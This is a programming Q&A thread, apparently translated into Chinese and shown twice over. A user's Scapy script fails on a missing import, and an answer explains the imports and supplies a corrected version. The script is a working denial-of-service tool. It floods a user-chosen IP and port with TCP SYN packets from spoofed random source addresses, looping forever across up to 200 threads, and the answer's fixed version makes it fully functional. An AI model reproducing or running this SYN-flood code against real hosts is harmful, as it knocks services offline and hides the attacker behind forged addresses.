Python 脚本中的 Scapy
Scapy in Python script
我正在 Python 中编写一个使用 Scapy 的脚本,但我的问题是异常是:
i = IP()
NameError: global name 'IP' is not defined
这是我的脚本:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, 65535)
t.dport = port
t.flags = 'S'
send(i/t, verbose=0)
count = 0
while True:
if threading.activeCount() < 200:
sendSYN().start()
count += 1
if count % 100 == 0:
print ("\rPackets SYN\t:\t\t\t%i" % count)
我应该怎么做才能解决它?
我认为您应该为似乎缺少的内容进行必要的导入。
试试这个:
from scapy.all import IP
或者这个:
from scapy.all import *
导入IP/TCP
您可以直接从 scapy.layers.*
子包中导入 scapy 提供的所有图层。这很好,只要您不需要任何其他功能,例如 send/sendp/sniff/... 或者您需要一些非常神奇的层,例如 ASN.1,如果某些通常通过导入设置的全局初始化失败并引发异常scapy.all 丢失。
IP() 和 TCP() 的特定导入(检查您的 scapy/layers/inet.py)
from scapy.layers.inet import IP, TCP
只要你只将它们用于 de-/serialization 就足够了(例如 assembling/disassembling 数据包)但是因为你还需要 send() 你必须导入 scapy.all 就像Semih Yagcioglu 建议。
请注意,根据 scapy manual 导入行从 from scapy import *
(scapy v1.x) 更改为 from scapy.all import *
(since scapy v2.x) 因此以下应该没问题给你:
from scapy.all import send, IP, TCP
请注意,导入 scapy.all 非常慢,因为它使用通配符导入所有子包并执行一些初始化操作。
也就是说,您应该尽量避免不必要的通配符导入(编码风格;即使在 scapy 的情况下没有太大区别)
from scapy.all import *
python 2.7
scapy v2.3.1 与 linux 上的 python 2.7 兼容。
然而,让它在 windows 上完全发挥作用并非易事,请参阅 problems with scapy on windows, especially with sending packets over phys wifi nics。通常 windows 人 运行 python2.6 使用 scapy 2.3.1(请注意,当 scapy 尝试在某些 windows 版本上获取原始套接字访问权限时,可能存在权限问题)。为了避免让您头疼,我强烈建议在 linux 上 运行(vbox 很好)。
您的代码的工作示例
以下代码在 linux、py2.7 scapy 2.3.1 上对我来说工作正常:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')
class sendSYN(threading.Thread):
def __init__(self, target):
threading.Thread.__init__(self)
self.ip, self.port = target
def run(self):
pkt = IP(src=RandIP(),
dst=self.ip)/TCP(flags='S',
dport=self.port,
sport=random.randint(0,65535))
send(pkt)
logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))
if __name__=='__main__':
conf.verb = 0 # suppress output
print ("Which Interface would you like to choose? %r"%get_if_list())
iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
conf.iface = iface
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = int(raw_input("-->"))
count = 0
while True:
if threading.activeCount() < 200:
sendSYN((ip, port)).start()
count += 1
if count % 100 == 0:
logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
- 固定导入
- 使用日志而不是打印
- 将目标传递给 class 实例而不是使用全局变量
- 添加接口选择(windows 必须有,因为 scapy 对 linux 和 windows 使用 linux 风格的接口名称,这就是为什么你可能不得不猜测更正 windows)
- 全局设置 scapy 详细程度
- 使用 RandIP() 字段而不是手动构建随机 IP
- TCP.sport/dport 需要一个整数,因此您必须解析从标准输入读取的值。
- 使用 snprintf()
打印发送的数据包 IP/port
您的 "print()" 似乎在使用 python3,但是当您想从用户那里获得输入时,您使用的是 "raw_input" 而不是 "input"
我正在 Python 中编写一个使用 Scapy 的脚本,但我的问题是异常是:
i = IP()
NameError: global name 'IP' is not defined
这是我的脚本:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, 65535)
t.dport = port
t.flags = 'S'
send(i/t, verbose=0)
count = 0
while True:
if threading.activeCount() < 200:
sendSYN().start()
count += 1
if count % 100 == 0:
print ("\rPackets SYN\t:\t\t\t%i" % count)
我应该怎么做才能解决它?
我认为您应该为似乎缺少的内容进行必要的导入。
试试这个:
from scapy.all import IP
或者这个:
from scapy.all import *
导入IP/TCP
您可以直接从 scapy.layers.*
子包中导入 scapy 提供的所有图层。这很好,只要您不需要任何其他功能,例如 send/sendp/sniff/... 或者您需要一些非常神奇的层,例如 ASN.1,如果某些通常通过导入设置的全局初始化失败并引发异常scapy.all 丢失。
IP() 和 TCP() 的特定导入(检查您的 scapy/layers/inet.py)
from scapy.layers.inet import IP, TCP
只要你只将它们用于 de-/serialization 就足够了(例如 assembling/disassembling 数据包)但是因为你还需要 send() 你必须导入 scapy.all 就像Semih Yagcioglu 建议。
请注意,根据 scapy manual 导入行从 from scapy import *
(scapy v1.x) 更改为 from scapy.all import *
(since scapy v2.x) 因此以下应该没问题给你:
from scapy.all import send, IP, TCP
请注意,导入 scapy.all 非常慢,因为它使用通配符导入所有子包并执行一些初始化操作。 也就是说,您应该尽量避免不必要的通配符导入(编码风格;即使在 scapy 的情况下没有太大区别)
from scapy.all import *
python 2.7
scapy v2.3.1 与 linux 上的 python 2.7 兼容。 然而,让它在 windows 上完全发挥作用并非易事,请参阅 problems with scapy on windows, especially with sending packets over phys wifi nics。通常 windows 人 运行 python2.6 使用 scapy 2.3.1(请注意,当 scapy 尝试在某些 windows 版本上获取原始套接字访问权限时,可能存在权限问题)。为了避免让您头疼,我强烈建议在 linux 上 运行(vbox 很好)。
您的代码的工作示例
以下代码在 linux、py2.7 scapy 2.3.1 上对我来说工作正常:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')
class sendSYN(threading.Thread):
def __init__(self, target):
threading.Thread.__init__(self)
self.ip, self.port = target
def run(self):
pkt = IP(src=RandIP(),
dst=self.ip)/TCP(flags='S',
dport=self.port,
sport=random.randint(0,65535))
send(pkt)
logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))
if __name__=='__main__':
conf.verb = 0 # suppress output
print ("Which Interface would you like to choose? %r"%get_if_list())
iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
conf.iface = iface
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = int(raw_input("-->"))
count = 0
while True:
if threading.activeCount() < 200:
sendSYN((ip, port)).start()
count += 1
if count % 100 == 0:
logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
- 固定导入
- 使用日志而不是打印
- 将目标传递给 class 实例而不是使用全局变量
- 添加接口选择(windows 必须有,因为 scapy 对 linux 和 windows 使用 linux 风格的接口名称,这就是为什么你可能不得不猜测更正 windows)
- 全局设置 scapy 详细程度
- 使用 RandIP() 字段而不是手动构建随机 IP
- TCP.sport/dport 需要一个整数,因此您必须解析从标准输入读取的值。
- 使用 snprintf() 打印发送的数据包 IP/port
您的 "print()" 似乎在使用 python3,但是当您想从用户那里获得输入时,您使用的是 "raw_input" 而不是 "input"